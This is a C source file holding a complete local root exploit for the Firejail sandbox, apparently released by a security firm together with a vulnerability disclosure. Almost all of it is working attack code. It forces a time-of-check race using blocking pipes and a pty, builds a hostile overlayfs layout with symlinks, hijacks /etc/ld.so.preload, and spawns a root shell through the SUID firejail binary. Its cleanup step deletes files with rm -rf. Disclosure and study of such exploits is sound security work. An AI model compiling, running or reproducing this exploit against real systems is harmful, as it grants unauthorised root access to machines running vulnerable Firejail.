/** This software is provided by the copyright owner "as is"
 *  and WITHOUT ANY EXPRESSED OR IMPLIED WARRANTIES, including,
 *  but not limited to, the implied warranties of merchantability
 *  and fitness for a particular purpose are disclaimed. In no
 *  event shall the copyright owner be liable for any direct,
 *  indirect, incidential, special, exemplary or consequential
 *  damages, including, but not limited to, procurement of substitute
 *  goods or services, loss of use, data or profits or business
 *  interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including
 *  negligence or otherwise, arising in any way out of the use
 *  of this software, even if advised of the possibility of such
 *  damage.
 *
 *  Copyright (c) 2021 Unparalleled IT Services e.U.
 *
 *  The software is only provided for reference to ease understanding
 *  and fixing of an underlying security issue in Firejail.
 *  Therefore it may NOT be distributed freely while the security
 *  issue is not fixed and patched software is available widely.
 *  After that phase permission to use, copy, modify, and distribute
 *  this software according to GNU Lesser General Public License
 *  (LGPL-3.0) purpose is hereby granted, provided that the above
 *  copyright notice and this permission notice appear in all
 *  copies.
 *
 *
 *  This program demonstrates a time-of-check-time-of-use TOCTOU
 *  vulnerability in Firejail. Winning it causes Firejail to create
 *  an insecure overlayfs layout, that is then used to escalate
 *  privileges by making /etc/ld.so.preload user writable.
 *
 *  As the window of opportunity for a standard time race attack
 *  on the TOCTOU is quite narrow, this tool "expands" the window
 *  by synchronizing stdout and stderr using blocking pipes and
 *  a dedicated pty master/slave pair.
 *
 *  As exploitation involves using /etc/ld.so.preload to inject
 *  a rogue library into a SUID binary, this program is designed
 *  to act as program and shared library at the same time. To
 *  compile it use:
 *
 *  Bullseye: gcc -g -shared -fPIC -Wl,-Bsymbolic -Wl,-e_altStart -o UnjailMyHeart UnjailMyHeart.c
 *  Buster: gcc -g -fPIC -o UnjailMyHeart UnjailMyHeart.c
 *
 *  Usage: UnjailMyHeart [optional Firejail command line for testing]
 *
 *  See https://unparalleled.eu/blog/2021/20210208-rigged-race-against-firejail-for-local-root/
 *  for more information.
 */

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <termios.h>
#include <unistd.h>


typedef struct BlockableFdPair {
  int   readFd;
  int   writeFd;

  int	bytesWrittenToBlock;
  int	bytesSkipOnRead;
} BlockableFdPair;

extern char **environ;


#if defined(__x86_64__)
const char lib_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#define init_args(argc, argv) __asm__ volatile ( \
    "mov 0x8(%%rbp), %%edx \n\tmov %%edx, %0 \n\tlea 0x10(%%rbp), %1 \n\t" \
    :"=m"(argc), "=r"(argv)::"memory")
#elif
  ABORT("No 32 bit support yet");
#endif


/** Library initialization function, called by the linker. To
 *  avoid interfering with other programs, the code will trigger
 *  only when the appropriate environment variable "UPGRADE"
 *  is set and euid != ruid.
 */
__attribute__((constructor))
extern void _libInit() {
  __uid_t rUid, eUid, sUid;
  __gid_t rGid, eGid, sGid;
  getresuid(&rUid, &eUid, &sUid);
  getresgid(&rGid, &eGid, &sGid);
  char *trigger = getenv("UPGRADE");

  if ((trigger) && (eUid != rUid)) {
    fprintf(stderr, "Process uid/gid info: %d/%d/%d %d/%d/%d\n",
        rUid, eUid, sUid, rGid, eGid, sGid);

    if (setresuid(sUid, sUid, rUid)) {
      fprintf(stderr, "Failed to set uids.\n");
      return;
    }
    if (setresgid(sGid, sGid, rGid)) {
      fprintf(stderr, "Failed to set gids.\n");
      return;
    }

// Remove the obsolete configuration.
    unlink("/etc/ld.so.preload");
    unlink("/tmp/client.conf");

    char* args[4];
    args[0] = "/bin/bash";
    args[1] = "-c";
    args[2] = "rm -rf -- /tmp/firejail /run/lock/firejail; exec /bin/bash";
    args[3] = NULL;
    execve(args[0], args, environ);
  }
}


int createPtsPair(struct BlockableFdPair *fdPair) {
  int masterDevFd = open("/dev/ptmx", O_RDWR|O_NOCTTY);
  if (masterDevFd < 0) {
    return(-1);
  }

// Change permission of slave PTY.
  int result = grantpt(masterDevFd);
  if (result) {
    fprintf(stderr, "Grant failed.\n");
    return(-1);
  }

// Unlock Slave PTY so others can use it.
  result = unlockpt(masterDevFd);
  if (result) {
    return(-1);
  }

  char name[1024];
  result = ptsname_r(masterDevFd, name, 1024);
  if (result) {
    return(-1);
  }
  int slaveDevFd = open(name, O_RDWR);

// Disable cr/ln translation, this will mess up measurements
// later on.
  struct termios termSettings;
  result = tcgetattr(slaveDevFd, &termSettings);
  if (result) {
    fprintf(stderr, "Failed to get terminal settings.\n");
    return(-1);
  }
  termSettings.c_iflag &= ~(INLCR | ICRNL | IXON);
  termSettings.c_oflag &= ~(ONLCR | OCRNL);
  termSettings.c_lflag &= ~(ECHO | ECHONL | ICANON);
  result = tcsetattr(slaveDevFd, 0, &termSettings);
  if (result) {
    fprintf(stderr, "Failed to set terminal settings.\n");
    return(-1);
  }

  fdPair->readFd = masterDevFd;
  fdPair->writeFd = slaveDevFd;
  return(0);
}


int fillTillBlocking(struct BlockableFdPair *fdPair, int fillLength) {
// No need to duuplicate the fd. Concurrent access from the subprogram
// would mess up fill level, position of fill bytes anyway.
  int flags = fcntl(fdPair->writeFd, F_GETFL, 0);
  fcntl(fdPair->writeFd, F_SETFL, flags|O_NONBLOCK);
// Pts write react really weird when writing in large blocks,
// so fill with small writes.
  char buffer[1];
  memset(buffer, 'A', sizeof(buffer));
  int bytesWritten = 0;
  while (fillLength) {
    unsigned int remaining = sizeof(buffer);
    if ((fillLength >= 0) && (fillLength < remaining)) {
      remaining = fillLength;
    }
    int result = write(fdPair->writeFd, buffer, remaining);
    if (result >= 0) {
      bytesWritten += result;
      fillLength -= result;
      continue;
    }
    if (errno != EAGAIN) {
      fprintf(
          stderr,
          "Unexpected write error %d (%s).\n", errno, strerror(errno));
    }
    break;
  }

  fcntl(fdPair->writeFd, F_SETFL, flags);
  fdPair->bytesWrittenToBlock = bytesWritten;
  fdPair->bytesSkipOnRead = bytesWritten;
  return(0);
}


/** Read from the read side of the given fdPair. When there are
 *  still some bytes to skip then just read and discard them.
 *  Otherwise write them to this process' stdout.
 *  @param readLength the amount of data to read at most or -1
 *  to continue reading till first read fails due to lack of
 *  data.
 *  @return the amount of bytes read and discarded, 0 when nothing
 *  was read due to EOF or -1 on error.
 */
int handleRead(struct BlockableFdPair *fdPair, int readLength) {
  char buffer[0x1000];

  int bytesRead = 0;
  errno = 0;
  while (readLength) {
    int remaining = sizeof(buffer);
    if ((readLength > 0) && (readLength < sizeof(buffer))) {
      remaining = readLength;
    }
    int result = read(fdPair->readFd, buffer, remaining);
    if (result <= 0) {
      if ((result) && (errno != EAGAIN) && (errno != EIO)) {
        fprintf(
            stderr, "Unexpected read result %d (%s).\n", errno,
            strerror(errno));
      }
      break;
    }
    if (readLength > 0) {
      readLength -= result;
    }
    bytesRead += result;

    char *writeData = buffer;
    if (fdPair->bytesSkipOnRead) {
      if (fdPair->bytesSkipOnRead >= result) {
        fdPair->bytesSkipOnRead -= result;
        continue;
      }
      writeData += fdPair->bytesSkipOnRead;
      result -= fdPair->bytesSkipOnRead;
      fdPair->bytesSkipOnRead = 0;
    }
    write(1, writeData, result);
  }
  if ((!bytesRead) && (errno)) {
    return(-1);
  }
  return(bytesRead);
}


/** Escalate privileges by spawning a root shell.
 */
int doEscalate() {
  int preloadFd = open("/etc/ld.so.preload", O_RDWR);
  if (preloadFd < 0) {
    fprintf(stderr, "Exploitation failed.\n");
    return(-1);
  }
  ftruncate(preloadFd, 0);
  char executablePath[PATH_MAX];
  int result = readlink(
      "/proc/self/exe", executablePath, sizeof(executablePath));
  if ((result < 0) && (result >= sizeof(executablePath))) {
    return(-1);
  }
  write(preloadFd, executablePath, result);
  close(preloadFd);

// We are unprivileged and cannot cleanup by ourself. Tell the
// user to do it.
  fprintf(
      stderr,
      "\n\nSome cleaning spawing root shell...\n\n");

  setenv("UPGRADE", "1", 1);
  char* argList[3];
  argList[0] = "/usr/bin/firejail";
  argList[1] = "--invalid";
  argList[2] = NULL;
  execve(argList[0], argList, environ);
  return(0);
}


int main(int argc, char **argv) {
  char **programArgs = NULL;
  int result;

  if (argc == 1) {
    fprintf(stderr, "Using default firejail startup arguments.\n");
    char* argList[7];
    argList[0] = "/usr/bin/firejail";
    argList[1] = "--debug";
    argList[2] = "--noprofile";
    argList[3] = "--overlay-named=test";
    argList[4] = "--shell=none";
    argList[5] = "/non-existing-file";
    argList[6] = NULL;
    programArgs = argList;
  } else {
    programArgs = argv + 1;
  }


// Run directory structure initialization.
  result = system(
      "set -e;\n"
      "set -v;\n"
      "# Cleanup old tests if any.\n"
      "firejail --overlay-clean\n"
      "if test -e \"${HOME}/.firejail-b\"; then\n"
      "  mv -i -- \"${HOME}/.firejail-b\" \"${HOME}/.firejail\" < /dev/null\n"
      "  firejail --overlay-clean\n"
      "fi\n"
      "\n"
      "# Prepare the replacement jail. On modern kernel the directory\n"
      "# cannot be on the same mount as the home directory, so use the\n"
      "# /run/lock tmpfs instead.\n"
      "overlayDir=\"/run/lock/firejail\"\n"
      "mkdir -p -- \"${HOME}/.firejail-b/test\"\n"
      "ln -s -- \"${overlayDir}/odiff\" \"${HOME}/.firejail-b/test/odiff\"\n"
      "ln -s -- \"${overlayDir}/owork\" \"${HOME}/.firejail-b/test/owork\"\n"
      "\n"
      "# Now prepare the ooverlay directory.\n"
      "mkdir -p -- \"${overlayDir}/odiff\" \"${overlayDir}/owork\"\n"
      "\n"
      "# Create the pulse audio configuration on upper to trigger\n"
      "# firejail copying it.\n"
      "# logic.\n"
      "mkdir -p -- \"${overlayDir}/odiff/etc/pulse\"\n"
      "# Let the pulse audio configuration point to a pipe on\n"
      "# the non-overlayed /tmp tmpfs to win also the races when\n"
      "# firejail is filling, chown/chmod-ing the configuration.\n"
      "ln -s -- /tmp/client.conf \"${overlayDir}/odiff/etc/pulse/client.conf\"\n"
      "mknod /tmp/client.conf p\n"
      "\n"
      "# Mess up overlayfs \"/run\" overmounting to have a writable\n"
      "# /run/firejail directory as starting point for symlink attacks.\n"
      "mkdir -p -- \"${overlayDir}/odiff/tmp/firejail\"\n"
      "ln -s -- tmp/firejail \"${overlayDir}/odiff/run\"\n"
      "\n"
      "mkdir -p -- /tmp/firejail/firejail/mnt /tmp/firejail/firejail/firejail.ro.dir\n"
      "touch /tmp/firejail/firejail/firejail.ro.file\n");

  if (result) {
    fprintf(stderr, "Failed to run initialization commands.\n");
    return(1);
  }

  struct BlockableFdPair stderrFdPair;
  memset(&stderrFdPair, 0, sizeof(BlockableFdPair));
  int pipeFds[2];
  if(pipe(pipeFds)) {
    fprintf(stderr, "No pipes.\n");
    return(1);
  }
  stderrFdPair.readFd = pipeFds[0];
  stderrFdPair.writeFd = pipeFds[1];

  struct BlockableFdPair stdoutFdPair;
  memset(&stdoutFdPair, 0, sizeof(BlockableFdPair));
// We need a pts pair for stdout, so that glibc stdout enters
// line buffered mode.
  if (createPtsPair(&stdoutFdPair)) {
    fprintf(stderr, "Failed to create pts pair.\n");
    return(1);
  }

  char *homeDirName = getenv("HOME");
  if (!homeDirName) {
    fprintf(stderr, "HOME not set.\n");
    return(1);
  }
  int homeDirFd = open(homeDirName, O_RDONLY|O_DIRECTORY);
  if (homeDirFd < 0) {
    fprintf(stderr, "Failed to open home directory.\n");
    return(1);
  }

  fcntl(stdoutFdPair.readFd, F_SETFL, O_NONBLOCK);
  fcntl(stderrFdPair.readFd, F_SETFL, O_NONBLOCK);

  fillTillBlocking(&stderrFdPair, -1);
  handleRead(&stderrFdPair, -1);
  fillTillBlocking(&stderrFdPair, stderrFdPair.bytesWrittenToBlock-60);

  int childPid = fork();
  if (childPid < 0) {
    return(1);
  }

  if (!childPid) {
    close(stdoutFdPair.readFd);
    dup2(stdoutFdPair.writeFd, 1);
    close(stdoutFdPair.writeFd);

    close(stderrFdPair.readFd);
    dup2(stderrFdPair.writeFd, 2);
    close(stderrFdPair.writeFd);

// Change to root directory to avoid firejail output length changes
// due to different directories.
    chdir("/");

// Open the old (non-overlayed) file system root to access it
// from within the overlay using /proc/self/fd/66/...
    int oldRootHandle = open("/", O_RDONLY|O_DIRECTORY);
    dup2(oldRootHandle, 66);
    close(oldRootHandle);
    execve(programArgs[0], programArgs, environ);
    return(1);
  }

// Firejail is now started. Wait for it to enter blocking on
// stderr.
  fprintf(stderr, "Before sleep.\n");
  sleep(1);

// Make sure stdout is empty while firejail is still blocked
// on stderr.
  handleRead(&stdoutFdPair, -1);

// There seems to be some buffering magic when filling and reading
// from the pty. Therefore empty it completely and fill it just
// with that amount exactly needed.
  fillTillBlocking(&stdoutFdPair, -1);
  handleRead(&stdoutFdPair, -1);
  fillTillBlocking(&stdoutFdPair, -1);
  handleRead(&stdoutFdPair, -1);
  fillTillBlocking(&stdoutFdPair, -1);
  handleRead(&stdoutFdPair, -1);
  fillTillBlocking(&stdoutFdPair, stdoutFdPair.bytesWrittenToBlock-20);

// Read stderr to let program continue till stdout blocks.
  handleRead(&stderrFdPair, -1);
  sleep(1);

  result = renameat2(
      homeDirFd, ".firejail",
      homeDirFd, ".firejail-b", RENAME_EXCHANGE);
  if (result < 0) {
    fprintf(
        stderr, "Failed to rename directories %d (%s).\n",
        errno, strerror(errno));
  }
  fprintf(stderr, "Renamed \".firejail\" directory.\n");

// The handle to the write side is not required any more. Close
// it, so that EOF is reached as soon as child is dead.
  close(stdoutFdPair.writeFd);
  close(stderrFdPair.writeFd);

  int continueReadingFlag = 1;
  int pulseSwitchedFlag = 0;
  while (continueReadingFlag) {
    usleep(100000);
    continueReadingFlag = 0;
    result = handleRead(&stderrFdPair, -1);
    if ((result > 0) || ((result < 0) && (errno == EAGAIN))) {
      continueReadingFlag = 1;
    }
    result = handleRead(&stdoutFdPair, -1);
    if ((result > 0) || ((result < 0) && (errno == EAGAIN))) {
      continueReadingFlag = 1;
    }
    if ((!pulseSwitchedFlag) &&
        (!access("/tmp/firejail/firejail/mnt/pulse", F_OK))) {
      sleep(1);
      system(
          "cd /tmp/firejail/firejail/mnt\n"
          "mv -- pulse pulse.orig\n"
          "mkdir -- pulse\n"
          "ln -s -- /proc/1/fd/66/etc/ld.so.preload pulse/client.conf\n"
          "echo -n \"\" > /tmp/client.conf\n");
      pulseSwitchedFlag = 1;
    }
  }

// Release the zombie child.
  if (waitpid(childPid, NULL, WNOHANG) <= 0) {
    fprintf(
        stderr,
        "Weirdly child stdin/stdout is closed but child has not terminated yet.\n");
  }

  if (doEscalate()) {
    return(1);
  }
  return(0);
}

extern void _altStart (void) {
  int   argc = 0;
  char  **argv = NULL;
  init_args(argc,  argv);
  int result = main(argc, argv);
  exit(result);
}
